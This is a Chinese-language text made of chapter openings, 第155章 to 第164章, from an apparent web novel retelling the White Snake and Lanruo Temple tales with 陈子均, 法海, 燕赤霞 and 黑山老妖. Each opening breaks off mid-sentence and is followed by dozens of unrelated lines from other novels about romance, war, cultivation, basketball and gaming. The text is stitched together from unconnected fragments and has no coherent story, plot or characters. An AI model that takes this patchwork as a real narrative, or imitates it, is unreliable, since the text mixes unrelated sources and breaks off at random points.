程咬金就这样一步一步的前进,将挡在面前的官兵全部杀得人仰马翻,终于杀进了包围圈,和剩下的那几十个骑兵汇合在一起。看着那些身上血迹斑斑却犹自抵抗的骑兵,程咬金不觉得有些悲伤,又有些感动。  孙二超真的以为,猴子和竹青与他们的司令有一种特殊关系。至于是什么关系,司令不说,他是绝对不会问的,这点规矩他还是懂得的。  亚恒端着咖啡的手一顿,他知道李商这是在防备,但是他却没有任何的方法。  “要是这么做的话,只有两种原因,一是,用现代的话来说,叫做作死,这种情况一般来说不常见,像是烽火戏诸侯那种纯属活腻了,那么就只剩下另外一种原因了。”老头子看了看林凯说。  隔着数里,秦宁都能感受到上方那紫色漩涡里的能量有多么恐怖。  这时,大路北面的八路军,越过大路,一直追着鬼子打,不断有鬼子被击毙倒下。  一墙之隔,看着并没有什么,但是随即就是不对了,因为这个猩红人脸突然咧嘴了,那血肉模糊的手,直接插进那个不大的缝隙里面了。  “另外,游戏里还会有一名奸细,他有14次杀人的机会,如果他杀光所有的求生者,就胜利了。”甘泉说道。  在座的诸位将军,没有任何反应,仿佛变成了聋子、哑巴,只是把头埋的更深了些。  一夏警惕的望着陈方平,因为面前的这个男人不是一般的人,他的话她不是不信,只不过在顷刻之间这个男人还是能轻易的扭转局面,所以,一夏不得不防,防止他的瞬间反转。 第155章 白蛇无情 临安城外,白塔巍峨耸立,神圣无比。  塔内。  几名身着镇魔塔服饰的修士正围坐在一张桌旁,核对着上个月的各种账目。  其中一人手持一支朱砂笔,一边核对,一边低声念叨:“上个月发布任务数一百六十一,被接取一百五十九,完成任务一百四十五,合计发放功勋值两万九千八百六十……新收入妖怪十七只,塔  但是外人的顾虑与身在场中的罗德里格斯毫无关系,他倾下重心,站在台前,大红色的球衣依旧清爽而色泽纯正,衬得那双蜜褐色的眼睛也仿佛镀上了一层若有若无的猩红。  拥有前世经历的冷凌云,哪里还会不知道是怎么回事,知道此时绝对不能乱动,想要安静的等待着他自己平复下来。  “5号,你在想什么呢?叫你全部抛出袄马集团的股份,你还在墨迹什么?”爱丽丝突然提高声音,满脸不耐烦的吼道。  “我不和丑八怪一般见识,哼!”卡拉波斯翘着指甲从夏洛克脸上划过,啧啧了两声,就摇摆着走掉了。  可是她的这些喊声,却根本就没有什么用,君容凡已经走出了房间,根本就听不到。更何况,就算听到了,恐怕懒得去理会。  魔童口下的话丝毫没有留情的意思,每一句都是在用事实狠狠的抽梼杌嘴巴。  最后,孟静仪真吃撑了,肖恒赶紧让人将所以甜点撤掉,否则她忍不住还想吃。  所以狐灵生一眼就知道温启兆看穿了自己的伪装,但是他并不当一回事,也许他修为不如眼前这人高,但逃跑却不是件难事。  就在金童想要在说话的时候,一道闪耀着金光的大门骤然打开,下一刻俞竑鍚的身形从金光中一闪便出现在禁地之中。  “是吗?”电话里,他的声音似乎带着一丝笑意,倒是没再说什么了。  虽然是古剑世界的三百年前,但是不得不说,这股浓浓的古剑意味,却是一点都没有变呢。  “你这二货知道金时装是什么吗?你就在这跟着瞎起哄?你知道参赛是要做什么吗?人家可不是让你拿着一张稿子交上去,就算是了事的呀,你得亲自在现场制作呀,可不是凭着你的创意就能够拿去参赛的呀。  出了客厅,院中,东方夫人自然看到了东方家主,于是,她脸色又不好了起来。  彩依微红着脸,眉头低低的顺着,看了看龙瀚,见他还看着自己,有些不好意思的将头别开,这才问道。  刚才的那些人,或许都在争夺另外两扇门中的宝物,并没有追他。  一一捂嘴笑了笑,她只是有点怀疑来着,现在见男人的反应如此激烈,便确定了她的猜想。  凰芯菀求救的哭喊在寂静的夜间异常凄惨,但是周围除了虫鸣蛙叫没有救世主从天而降。。。。  每一个得到了指点的人的脸上都洋溢着兴奋地笑容,他们没有想到西门追雪的指点如此的一针见血,这让他们的收获远比想象得多,也就越发崇拜西门追雪。  萧家的意外刚刚让人将消息递到宫里去,现在又出现这个更加让人措手不及的事情,估计圣上他老人家想不责罚都觉得困难。  “那有什么不可以的,等她完成了学业回国也是要回到家族里面来协助琛琛你工作的。  邢云吉点了点头,表示很赞同醉逍遥的提议,而夙薇却不怎么赞同,因为她和炎舞说好的,好好的待在这里,炎舞去去就回,她怎么能走开,万一,万一炎舞来到找不到他们怎办? 第156章 无情有情?! “你说得没错,人非草木,难以无情,“白素贞露出一抹极飘渺的笑,平静地道,“但欲得道者,自然不能以“人”的标准来要求自己,在我看来,唯有舍弃情欲的羁绊,方有机会领悟到真正的大道。”  胡翘翘咬着唇,脸蛋因为气愤而微微发红。  这气愤,一半是因为这白蛇妖,一半是因为她自己。  她在气恼自己不  许是许羡运气好,持续了一段时间的雷暴天气在这时正好停了下来。  两人靠近了门口,脚步声不自觉地慢了下来,屏住呼吸,一个字也不敢再多说。  所以,在廖明香发新歌后,整个川城传媒学院都在给廖明香宣传,就连官v都在为廖明香加油。  召唤白云烟?九阶巅峰强者的一次人情就这么用掉了,许羡不甘心。  并且这种趋势并没有停下来的意思,这种局面让不少镇民们,开始往外面逃窜。  别看他们一个个看起来好像都很听话,但看他们一个个,脸上露出诡异微笑,就知道他们并不是安分的主。  相反,隔壁的几档综艺却早早的布局了短视频,然后却是带来了意想不到的好处。  协商好了这件事之后,叶秀青下午就带着冯英子去了银行,取出了6000块钱交给了她。  所以他们能做的工作,就十分稀少了,就只能统计统计死亡人数什么的了。  轰地一声巨响,火光四溅,强大的冲击力将苏清玖也掀到了一片草地上。  在整个院落的东西两面,各有一片竹林。竹子子高大挺拔,其间还有石桌石凳,供人们喝茶,下棋,聊天。在单身公楼的后面还有各种健身器材。经过这一点缀,更显得这三座巍峨的高楼,更加高端大气上档次了。  上午要去训练营,还要和方茴再聊一下合约,下午要上号打素材,还要剪辑视频。  但他们这个家庭唯一不好的就是猪刚鬣的长相了,他天生一副猪脸长得奇丑无比。  这话引得观众们也是有些不解,因为大家都看得出泽元是fat的粉丝。  双胞胎姐妹感受着从云倾身上散发出来的阵阵寒气,害怕地咽了咽口水。  回到酒店,海平他们的刚好晨跑回来,一行人走进大厅开始吃早饭。  想到这里,白先生轻轻向前迈了两步,走到了一个相对空旷平整的位置。  “不过这十年过去了,七师兄和陆师姐都已经生孩子了。”王昱有些羡慕的说道。  “这样说的话就说的通了,帝君可真是豁达,面对打败了他的你居然这么慷慨!”王语嫣说道。  “踏上这条路,就没有回头的机会。有时候我也在想,死亡或许才是我们的归宿,天天担惊受怕,不晓得哪一天就会噩兆复苏。  自己这个大舅哥私心太重了,若是他能把聪明才智拿到朝堂上,又是一位智谋。  燕园叹息一声,不再多言,早在刚才燕园就已经看出来庄黑实力不俗,而且在姜灵馨离开部落的时候,眼前的这个皮肤黝黑的瑞应该有在一只照顾姜灵馨,不然姜灵馨绝不可能活着回到部落。  老道士并没有管倒地的弟子,依旧在不停的掐动法诀,召唤骷髅头攻击苏健。  这还是在宫中有好吃的好喝的,要是一般的人家,哪里能活两个月,这天天吐血就得吐得虚脱而死了。  韩元看着神情慌张的环儿,轻笑了一声,伸手轻轻刮了一下环儿的鼻子。 第157章 前往兰若寺 “阿弥陀佛。” 佛号声起,法海双手合十,朝着陈子均微微颔首,“当日一别,已近半年,没想到今日又在此处碰到施主了,施主可还记得贫僧?” 陈子均也回以一笑,拱手道:“法海大师,别来无恙。” 法海又道,“当日匆忙,未曾请教施主尊讳,今日再遇,也是有缘,不知施主可愿告知?” “姓陈, 陆嘉之所以突然改变主意想要联系那个叫李家成的人,主要是考虑到这个家伙很可能有直通香港的门路。李家成这个名字估计十有八九也是一个假名字。 反正自己掌握的军权更多,渊男建哪怕是有意见,很多事情也没有办法阻拦。 自那个午后醒来,他虽然做了很多事,可是每一件事他都做得非常克制。 自卫骁在江南起兵,到统一天下,总共用了七年时间,他将大都更名bj,定都于此,国号为卫。他大封功臣,封了四王八公十二候,立周芷若为皇后,定下吉日,准备登基大典。 “完了完了,这下朋友都没得做了!”张瑾瑜在心里念叨着,她知道此时自己脸上的异状,肯定得被秦嫣然给误会了。 但是听秦星澜的语气,好像和他那同父异母的弟弟关系还不错,在这豪门世家已然是极为少见了。 乐乐几乎是被苏念牵着跑的,平衡一下没掌控好,脚底打滑,一个踉跄摔在地上。 风沙越来越大,动静听起来就像海啸一般,令得一众人心惊肉跳。 “紫瑶,别怕,有一句话说的好,大难不死必有后福!”陈凡可以清晰的感受到怀中林紫瑶那急促地呼吸和慌乱的心跳,两只手不由再度紧了紧。 各种各样的信息汇集在一起,要把它们全部统计出来,需要大量的人力。 看到马丁那如同鬼魅般的速度,围观的学员忍不住地发出阵阵惊叹。许哲倒是没有任何感觉,马丁的攻击速度在他的眼这也仅仅还算不错。如果换做他的话,他有很多种办法在马丁奔来前进行反击。 大家听了厉昊南这句话面面相觑,即使厉昊南此时并没有表现的悲痛‘欲’绝,峻朗的身影看起来依然冷傲高大,可是看着他萧瑟的样子,看着他鬓间的白发,众人同时感觉到了心酸和郁闷。 因为连哭带闹,坐在餐桌前顾筱北头还晕晕沉沉的,“你怎么了,怎么突然和冼大胆闹起来了?”陈爽偷眼看着坐在包厢外面‘抽’烟的冼志明,悄悄的问顾筱北。 但是林峰等人一听那林三丰的名字,就都是一脸的古怪之‘色’了。 他把顾筱北温柔的放在‘床’上,并没有放手,而是依然把她抱住怀里,俯下身,跟她的额头相抵。面孔离得太近了,近到顾筱北看不清楚他的脸。 正前方,是一主殿,主殿之内放着一幅巨大的紫晶棺,这棺的长度比寻常的至少要在三倍有余,紫晶棺一侧却趴着一头巨兽。 “我可是用奥布的资源制造了大量的工作机械人配合奥布的人力物力赶工才制造出来的,至于那一艘和平号我直接丢给奥布,算是投桃报李吧。 华青岚能够清楚的听到他们说什么,也能够思考,但是她不动不了,她很害怕,这些人都是妖怪。 无论如何,事情都将在这一次攻击之后完全的揭过,无论生也好死也好,两人都不会留下遗憾。 第158章 真正的黑山老妖 玉珠儿见陈子均的脸色不对,眉头也跟着皱了起来。 “大坏蛋,这兰若寺怎么了?去不得吗?难道,和尚和大胡子会有危险?” 陈子均冷笑了声,“危险?他们根本不知道真正的黑山老妖是什么。” 小蛛妖吓了一跳,连忙追问,“什么真正的黑山老妖?难道还有假的?” 陈子均没正面回答,只淡淡道:“ 他们没有把最后的那个字说出来,因为李阳已经直接带着周丽雅飞走了,球场的摄像头,正好给到刚才李阳拿出玉牌的一幕。 收起传音符,方怀然打开房间禁制,让门外值守的炼虚期警卫召集所有的合体期将军过来开会。 这话说完,史进与薛永对视一眼,虽看不清彼此脸上的表情,但想必也都能体会到对方此刻心中的震惊和疑惑。 陈永福从开封城内调拨了一大批棉被,直接送到各面城墙上,要求明军将士吃睡全部留在城墙上,随时准备战斗。 就在李自成这边整军备战,准备东征大明京城的时候,开封这边李子霄的白龙军也没闲着。 现在,姚亚耀就坐在钱副教授家中的一张陈旧沙发椅子上。他是专门过来找钱副教授叙旧,同时也是过来送出一份专门请帖的。 向左哥几个刚刚躲在石雕后面,石雕的凹槽内突然伸出黑洞洞的枪口,在众人还没有来及反应的时候,一串火舌喷了出来,无情的射向众人。 杨伟很无耻的拍了拍上官子杰的肩膀,一看他这装模作样的样子,就知道是想跑单。 种浩这边刚把马车靠在山边,结成阵势,那边早有十多个马贼如飞驰到。“射!”一名贼一声令下,无数支锋利的狼牙箭“嗖嗖”破空而起,划过一道道优美的弧线,向着种浩等人射来。 麒麟的金身虚影见对手被击杀,也不争抢对手的尸体,身形一个调转,奔向附近不远的一个处于下风的人族炼虚期修士的战团。 被马匪包围之后第二个夜晚,也平安的过去,连续两夜加上一个半白天,马匪都没有攻城,李照带领的商队众人,乐观了很多,连睡梦中,脸上都能带上笑容。 焦皓楠的声音并不大,但在如此绝对的安静下,反而竟是特别的响亮清晰。 可在易潇和萧布衣先前杀戮一轮之后,十六字营的铁骑数量早已经没有两千之数。 感激,自然是因为这位一直疏离她的皇帝,此刻却将她当成了真正的妻子与家人。感激是十分真诚的,没有半分幽怨。 这一切都是因为他惹出来的,所以这个时候也不敢直接去见三公子,更不敢去找自己的老子赵安,他爹那暴脾气的,见到他指不定会往死了打。 面对这个钢骨兽的温情攻势,王雪连一点抵抗都没有便被攻陷了,只见钢骨兽的面庞距离自己越来越近,越来越近,随后在紧张之中王雪闭上了自己的双眼。 果不其然,骑在高阶洞天门户处于半梦半醒的状态,茕闾遂于顺利渡过九重心劫,大功告成后天上那个空洞适时退去,层层卷卷的乌云消失无踪,旋即回复朗朗晴空。 李照对于自己搭讪在这个城池内看起来并不算强壮的壮汉,心中还是有些打鼓的,毕竟那眼神实在有点恐怖。 但是看到了壮汉的眼神,李照有些后悔了,但是已经搭了话,即使他心中再腹诽壮汉不像个好人,也只能硬着头皮等待壮汉回答。 第159章 兰若寺到了 “原来是这样……”小狐狸恍然,又再次发问,“可就算阳气会恢复,身子多少还是会有些损害的吧?” “当然了,和阴魂接触越久,身体就会变得越虚弱,寿命也会受到影响。不过那些男人啊,精虫上脑,哪管得了那么多!” “真是想不通,他们为了、为了……连命都不要了吗?”胡翘翘又瞥了陈子均一眼,感觉很安心 诅咒之神的名字叫林韵,长像普通,身穿紫金袍,手持紫金法杖,样子有点像全服武装的巫格云星,实力能和血魔打平手。 江安义心中一惊,二千石粮食就是二十多万斤,全家人一辈子也吃不掉这么多粮食。走出储粮洞,来到酒坊,江安义发现酒坊打透了山顶采光通风,里面点着火把,并不气闷。 大头没料到陈林连房间里有隐蔽的摄像头都看出来了,接通了袁术的电话。 杨思齐长啸一声,飞身而起,踏在第一根枪身上,紧接着脚尖一点,纵身飞上第二根长枪,在众人目瞪口呆的眼光中,杨思齐像一只轻巧的云雀直飞冲天。 我用精神力融合各方面能量,以斗气刃为基础,制造出一把与黑灵斩剑气相同物质的黑剑。 楚红放下电话傻了眼,也觉得这件事好古怪,急忙跑去找崔宝山,让他帮着打探这件事。 “咦?他们是谁?”风筝的脑子还是处于浑噩的状态,她转头朝北边看去,木子云和方天慕正趴在地上,黑刀横在一旁,方天慕受伤严重,两条胳膊被刮出了许多裂痕。 “铮,铮铮!”夜幕之中,一道黑色铁索突然从漆黑的地下深处飞出狠狠地甩了想半空,“铛”的一巨响,漆黑铁索一下子缠住了易聪有,微微用力直接甩飞了出去,一下子滚落在了山峰地面之上。 钟秀也是纳闷,没法回答这个疑问。那些投降的部族,此时也在艘战舟中向下观望。看到家园被毁都有些离愁生出,同时用庆幸跟随了这些外来的征服者离开,不然就是粉身碎骨的下场。 只见一道寒光袭来,眼看就要插进苑庄腹部了。我急匆匆一脚踢过去。 媚姬道:“我明白你的意思,你是说我是怎样以一道神识重新凝练出一个灵魂吧”。龙洛道:“不错”。媚姬道:“这这是我的秘密,知道此法的人不超过三人懂得此法的更是只有两人”。 “哈,胖子本来就怕热的嘛。这么热的天气泡温泉,肯定要出汗的……”江国涛正说话间,突然眼前冒出了一片雪白的凝脂。 龚新民本就低沉的嗓音夹带着院长的威严之气,长期在他手下听他命令的林慧珍,不由得脚下一滞,竟乖乖的站在了原地。 一条很深的巷子,走到了尽头,一面破旧的大院挡住了去路。王有财心里咯噔了一下,他在想,难道这个王蓉带他来找的神医就在这里面? 这里,我不想再留恋了!早知道,不如不来的好。不知道真相,至少心里有个念想,有美好得带着淡淡心痛的回忆。 听到这番话,阳云汉感觉鼻息中好似闻到了浓浓的腥味,脑海中不由自主浮现奈何桥下,血河池里的恐怖情形。 “同志,请你出示下你的行驶证驾驶证。”胖警官铁面无私的样子不怒自威。 初步从气息上来判断,李江可以确定这两头龙魂同样已经是踏入第二步的强者,对于同样已经踏入第二步的他来说,自然是不会惧怕它们。 第160章 树妖聂小倩 何绍在前带路,陈子均跟在他的身后。 片刻后,兰若寺已经完全地呈现在了两人的眼前。 这是一座占地颇为广袤的佛寺,寺门上,悬挂着“兰若寺”三个大字的牌匾,此刻,它已是蛛网遍结,灰尘密布。 进入寺中,可见殿塔林立壮丽,它们虽荒废了漫长岁月,却意外地还保存完好,依稀可见当年的盛景。 如妃靠在贵妃榻上,眉头紧皱,这么久了,还没有逸儿的消息,也不知道去了哪里,是不是出去遇到了坏人,是不是遇到了危险。 众兄弟看着蓝菲和赵阳这么说了,全都跪了下来,“属下愿意誓死追随主子。”几个牢房发出同样的声音,吓得狱卒们都拔剑过来看看发生了什么事。 好在拦截她的两名匪徒也不想伤她,所以她一时之间倒还没有危险。 宇明顿时如获至宝,在听取了魏征汇报后,立刻便下令军中工匠开始批量制造。只是由于时间过紧促。到这次五龙谷之战时,总共也就只造出了五余具新型铁胎弓。 “大牛你跟我出来一下。”徐媛踌躇许久后终于还是将话说了出来。 若林涵溪未猜错,这怜儿恐怕与柳儿和凤鸢出自同门,那一脸的高傲与不屑,以及对林涵溪的不恭便可以看出,她做这丫鬟确实不服气。 士兵领队明显被某某这突如其来的转变弄得有点蒙,但是这个时候已经不是可以插科打诨磨时间的时候了,士兵领队并没有任何询问某某的想法,他有礼的回了某某一个简单礼之后便做出了一个“请”的手势示意某某上车。 不得不说,她真的很艰辛,然而她却从不抱怨,这一切竟是为了他。 慕天认为李大牛太招摇,年轻凌厉。可是慕天心里非常明白什么是君王一怒血流成河,匹夫一怒血溅五步的道理。可怕的不是君王,而是光杆匹夫。 如此想着,林涵溪端起桌上的茶杯,抿了一口茶,茶香顿时留在齿间,这是上好的绿罗春,冷无尘特意为她从边疆带回来的。 可是这些人中,真正能够和陆征见面的,用一只手都能数的过来。 客栈之外是一片空地,空地之外则是一处茂密的丛林,黑影进入了丛林,便消失得无影无踪,司徒越等人也到了这里。 以往他对佛婴还抱有一些质疑,如今得知这般可爱的物种出自佛婴,他便不再质疑,坚信自己只要吸纳了大日佛婴的纯阳之气,必能化解他体内的九面玉狐。 一出来,徐破和元守一就是纷纷对着陈潇发问,他们刚才惊神宫中也看到了陈潇的表现,都纷纷被陈潇的力量震撼了。 不过姜邪实在是不想要看到若幽失望,这一点他自己也有点搞不清楚。 说完将江寒推开两步,转而一瘸一拐的离开,再也没有多说半句,只留下江寒和这一地的尸体。 可惜谢宫宝这一剑悍强,他夹住了剑,却很难缓住砍落之势。他咬紧牙根,用尽浑身力气缓住剑势,但脑袋给谢宫宝砍出了一条血口子。接此一招,曲池急忙跃开,闪去丈远,面如死灰的杵着,仍由鲜血顺着额头流下。 就在他们的力量从惊神宫之内抽出来的时候,陈潇也是眉毛一扬,顿时那不停扩散的鸿蒙气流一下停止了扩散,之后惊神宫内开始释放了一股青色的光华,这光华向着陈潇就冲了过去,直接进入了陈潇体内。 第161章 黑山老妖 法海沉声又念了一句佛号,禅杖上的金环摇曳,金光荡漾开来。 “孽障!还不速速现身!” 燕赤霞则是嗤笑一声。 “树妖,你是打算躲起来做缩头乌龟么?十年不见,胆子倒是变小了。怎么,是怕了爷爷的剑?” 他说着,身边那数百柄长剑齐齐指向了兰若寺深处那棵巨大的柳树。 “莫非要燕某动 林湘湘这才从背后替他将衣服全部解下,古铜色的身子赤裸裸的闯入林湘湘眼眸。 这条新闻在网络上引起巨大的讨论,整个网络世界都充斥着悲观绝望的情绪。 闻言,狐千岁终是妥协,脸上的冰霜逐渐凝聚,盘子里的鸡也再没动过。 此时正是不思蜀客栈最忙的时候,前面已接待了八十几位客人,眼下还有十几位客人在门外等候。 永定门的马成,用十强武道之一的玄武神掌,让青龙峰首座庞惊阳刮目相看。 洛安笙现在的气势,众人看到都有一种想跪拜之感,境界低的最为明显。 但是现在他都不敢将话说满了,对那天煞王国都不抱有绝对的信心。 第二式魅刃,神魂攻击,斩杀对手神魂,让对手在不知不觉中神魂消陨。 灵兽金丹一旦融合就与灵脉师一点点磨合,当完全融入灵脉师灵脉中,就是灵脉师身体的一部分,按理说金丹被剥夺,别人拿去有没有用,这剥夺灵兽金丹是损人也不利己,凡事留一线,这留的哪是线,比细丝还细的丝。 那年轻人身体颤了一下,然后转过头,和安浩然的双眼就这么对上了。 大量的尸体汇聚,血水流淌在天地之间,一股股腐臭之气冲天而起,却无法阻止让众人心中生出欢喜之情。 葬曲继续演奏着,对于亲人来说是何等的悲伤。可毕竟逝者已故,再无生还之可能。 他见宁慈强行要插手此事,怒不可遏。脚步一迈,发出尖啸,无形的透明音浪如洪水一般袭来。 没有铁路公路飞机的时代里,得知消息,集结人马,筹备军资,再千里迢迢的开拔过来,通常情况下没有几个月的时间压根到不了。 黄天霸黄老爷被尉迟家抽调出去扫荡妖魔,前段日子刚从外面回来,正是需要好好调养一下的时候。这段时间沙头帮失去了他的镇守,无疑是非常虚弱的时候。 等到傍晚时分,果然有好几家媒体过来采访,不知道是不是剧组特意联系的。 城墙上的众多执卡师却是拿对方没办法,对方飞得太高打不到,就算有能飞的上去了,也是送菜,只能等营地的四阶强者出手了。 另外,他那天还说,他有一本高阶的金元属性的近战功法,哪怕是轮转境的命修修炼了,效果都十分的不错。 他仔细的搜寻关于韩立和自己的画面,就在那一瞬间,他又看见了让人心惊的一幕。 但所有的一切都只是她的愿望,一天没有尘埃落定,她就一天定不下心。 是他临时吩咐军中的巧匠,用纯银打造出来的。战场条件简朴,只来得及做了十几枚。不过,足够了。杨浩看过了战报,也仔细询问了各营校尉,核实了所有情况之后,决定颁发出第一批总共十三枚的云麾勋章。 刘表说道:“我和黄祖推心置腹的朋友,我下不了这个决心。”于是把桓阶送回营,相约用孙坚尸体换黄祖。 第162章 降服黑山 阴冷的气息潮水般涌来。 一团巨大的黑色雾气从兰若寺深处翻滚而出,遮天蔽日,带着令人胆寒的威压。 黑山老妖巨大的身影在黑雾中若隐若现,他先扫了一眼陈子均,见他一身书生打扮,气息孱弱,并未放在心上,只是将目光落在了法海和燕赤霞身上。 “桀桀桀……好浓郁的阳气!真是天助我也!”黑山老妖的 站在校场边缘,身穿一身黑色学生装的田桐张目望着那个被众人蜂拥着的李子诚,看着他同其它人握手时,他的眼中闪过异样的神采,掩于那些欢迎李子诚的学生中间,一身学生装的他并不怎么显眼,以至没有人会注意到他。 石维水看了墨峰一眼,其实依照石维水的想法,他还想将敌人引出密林然后回身突袭一次杀敌,可是墨峰这个命令则是完完全全的逃跑,这让石维水有些不舒服。 这一刻别说是他了,纵然是研究出幻行的白云生都觉得恐怖……白云生也没有修炼过幻行,所以他并不知道影仆诞生之后会如何。 马车在大广场边缘处停下,龙鹰接过湘夫人递来的黑头巾,依指示包头,她则以蓝布裹头,才步下马车。 右方之火闻听后方传来的声音,心中一震,紧接着转过身去――除了那个一向被右方之火当成傀儡的罗马教皇,还能有谁? “玉雄,你这是在干什么?我这次来,主要是旁停一下,如果你这样的话,那我老头子就走了。”生气的甩开陆玉雄拉住自己的胳膊,程自学大声的说道。 他们亦非对敌人全无威胁,每当跳起来还击,总有敌人饮恨于他们箭下,令敌人尚未敢用云梯攀台来攻。不过仅凭投石机发射的石弹,已足可摧毁第二层台地的一切。护墙已坍塌大半,捱不了多久。 “那么,你准备好了吗,我的后代,继承我的一切,继承我那未完成的目标?”冥冥之中,一个本来已经消逝的声音在米拉耳边响起。 “哗!”在准备地脉传送术的海德拉脚下,整片大地都变成了一片无穷无尽的红色海洋。完全没有任何的预兆,仿佛那片海洋本来就存在于大地上一样。 这个世界上不存在任何可以阻挡红世之火的防御,大天使不行,天空之龙不行,八头魔龙也一样不行,当佩姬的红世之火燃烧到极限的时候,连她自己也无法控制。那种危险而可怕的力量,正是她身为红世之王的证明。 徐凤娇对陈老大感到失望至极,同时又心虚,不想就这么输给南榛榛,进去衙门。 经过了昨天一场杀手的围杀,乔治将他们放走之后,就没有想过自己的特殊之处能继续隐瞒下去。 老旧的电视放在一边,齿轮的钟表正不断的发出“滴滴答答”的声音,接触不良的灯泡正发着微弱的光芒。 乔治不光在出租车上吃完了早餐,听完了史黛西局长的电话会议,还跟司机聊了很久。 他疯狂的摩擦着双手,似乎迸溅出火花,凌斗司的身体的硬度已经和钢铁无异。 它们阻挡在了伊邪那美的面前,用身躯抵挡这那毁灭一切的剑光。 自家打野破败王也已经从后方三角草蹲伏,一颗真眼插下确保没有被附近视野所洞察。 血眼青年震惊是因为刚才他通过柜子门缝看到了周辰如何殴打那个诡怪,让他明白了原来周辰的实力强得离谱。 第163章 魂穿异界 月娘已经开始浑身颤抖,滴滴委屈泪水顺着脸颊滑落,在得知姐姐的消息,心中顿时又重新燃起了活下去的希望,哪怕只要见到姐姐一面,也死而无憾了。 安排完了一切,大家也散去,灵蝎此时也是非常醒目的望了两人一眼,对着远处射去,留下了陈飞与冰瑶两人。 以前没有发现鸟熊的这个举动,或许是因为它没有见到其他妖兽的缘故,而现在是它初次见到如此高级的妖兽,因此才升起了比较之心。 另外,那边的天道盗,和黄金盗也是飞了过来,天道盗一过来,自然就看见了躺在那里的老九,随后眼睛一扫,又是看见了一边的老十!顿时怒吼了一声。 张涛也没有反对,他知道莫冷风为了这一天准备了多久,自己既然是来帮助他,就不能给他带来任何麻烦。 阿古拉笑笑便向前面走去,李昊龙带领着阿古拉来到了桌子边,阿古拉一看到张龙顿时就楞了一下指着张龙说道:“我认识你,你是东星帮的张龙”。 张楚众人顿时眼睛一亮,全都大声回应道,傲然的抬起头昂首阔步的跟随冷天从街道走过,一直走到了府邸前。 “若是我成功了怎么办?”张涛微笑反问,因为张涛知道自己不会失败。 转瞬之间,十层世界,所有生命的人全部被排斥出去,只留下死寂般的沉默。 主神!这个词让的楚逸云一片混沌的脑袋中被劈开一道巨大白光的霹雳!让苦苦思索的楚逸云豁然开朗。 但两人不约而同想到,包家父母早就当众撕破了脸皮,众人皆知。 唯一不顺的地方,那便是詹东,詹东对于我和我妈突然转院这种行为很是不解,而且更重要一点是,在转院这件事情上,我这个妻子甚至都没有和他这个丈夫商量过,他才送他妈离开一会儿,我人便已经在了别的医院。 公司的事情是机密,虽然她是他的太太,但到底不是辰景的员工,很多事情,她是不能知道的。 她愣住,他唇角的弧度依旧温淡,却溢出令人不寒而栗的咄咄逼人。近在咫尺,萧紫甜很清晰的感觉到他身上传来的冷芒。对于她和裴擎宇吃饭的事情,他始终介意。 听到这话,我也是心里一紧,如果你说让我们碰到猛兽或者武者,这些我倒不是很虚,毕竟是明刀明枪的干,但要是碰到毒虫,这玩意都是让人防不胜防的,谁都不知道,什么时候会被毒虫给叮上一口,然后毙命。 男生摸了摸她的头,浅浅的笑仿佛开在月夜的昙花,还未消失,下一秒,嘴唇被迎面而来的什么堵上。 “重点是如果我说去英国,就是给你期待了吗?”凌溪泉放在膝上的双手紧攥,语气却十分平静。 死了就死了吧,可是居然没留下遗嘱,争夺皇位的戏码终于进入白热化,此时已经没有人顾及到要打秋风的事了。 她的心里暗暗奇怪,眼神一转,忽然瞥见了从教学楼慢慢往校门的方向走的两个男生,聂斯赫和谢右。 肖亦凡被林可欣一顿臭骂,不仅没有生气,反而心里美滋滋的,长这么大除了母亲肖素素以外,从来没有人对他说过掏心肺腑的话。 我独自躺在这千年的宫殿里,黑夜之中,听这单调的毫无变化的音响,突然陌生感袭来,不觉有些毛骨悚然。 “秦先生我觉得我们没有什么好谈的,咱们最好井水不犯河水。”卫英睿语气淡淡道。 仙音一人独战四大极境高手,却没有落任何下风,她修炼的是顶级功法,使用的是上品至尊级武器和顶级神通,战斗力在同境界中可以说是无敌的存在,越境杀敌也不是不可能。 而纪南深都和她离婚了,却还把她关在这里,那肯定是有不为人知的事情。 但其实对于职业选手来说,6倍镜无论是手感还是功能性都要远强于4倍。 肖亦凡惊叹,光从外表来看,此物并非等闲,他体力灵力急速在脉络跳窜,似乎很兴奋。 “我知道你的身份,也知道你现在拥有冥瞳,不一般,但是你也要清楚,现在的你,太弱了。”她毫不客气的说道。 因此燕初天怎么可能还能保持冷静, 纵然有早课在前,他也忍不住赶紧掠入了府殿。 离封的态度很正常,我也没有继续纠结,直接坐下来吃饭,昨晚上忙了一晚上,加上又没怎么吃,现在是真的饿了,狼吞虎咽的塞了一番,喝了口水就着咽下去,才喘了口气。 她被三个逃犯羞辱时,这帮同胞没有站出来。她被唐枫擒下时,这帮同胞冷眼旁观。唐枫要离开时,这帮同胞给唐枫让路,目送唐枫离开。 因为蒋佳怡受伤送成日夜陪伴的缘故,宋城的名声倒是好了很多,经纪人喜笑颜开,可是宋城却有点不开心,他还甚至挂断了经纪人的电话,大吼了一声,弄得经纪人一脸懵逼。 第164章 回不去了? 陈子均走到婴儿床边,低头看着床上的那个小小婴儿。 小手小脚,连牙齿都没长出来。 此刻正在“啊啊”地叫着。 陈子均皱眉。 在白崖村的时候,他也接触过婴儿,知道婴儿会哭叫,多半是因饿了或是困了,又或者是身体不适。 对他来说,如今最重要的事,就是想办法离开这里。 但要他 “埃吉迪尤斯,你现在不用有所顾虑。就是全力拼抢就行了。不要害怕犯规明白吗?”陈对在第四节已经五犯的埃吉迪尤斯说道。看埃吉迪尤斯点头了,陈马上转了个方向。 纪无云恨得咬牙切齿,只差两个多月她就能得到随身空间了,究竟是谁破坏她最大的机缘? 休斯顿这边的进攻效率有所下降。暂停回来后火箭队用哈登,德克尔换下了贝弗利和阿里扎。篮网这边丁威迪换下了古德温。 “俗话说,近朱者赤近墨者黑,它为什么这么怂,你心里就没点b数吗?”萧大博士斜着眼看向黑猫,难得吐了一句脏话。 巴特勒在体能方面是没得说了!两名球员的对位也比较好看!上赛季威廉姆森来到球队后篮网已经打了一定数量的比赛了。 孙军在程普被典韦一戟劈死之后,悬着的士气顿时消散,全军崩溃。 莫亚的第三联队被吉斯卡尔留作军团预备部队,第七联队则在白峰的主动要求下,一直承担要塞两翼城墙的防守重任;白峰此举,令吉斯卡尔和诸位联队长都感动不已。 尤三的这番话说的黑龙不吭声了,如果真的像是尤三说的那样,这事情倒还真的能行,而更重要的是让别人打头阵的话,自己只需要在后面坐收渔翁之利就行了,这样的买卖他可是很愿意的。 长眼睛的都看出来了,陈医生绝非等闲之辈,人家不仅业务精湛,对人际关系的拿捏也要甩了阿飘好几条街,跟她叫板,那就等同自己找虐。 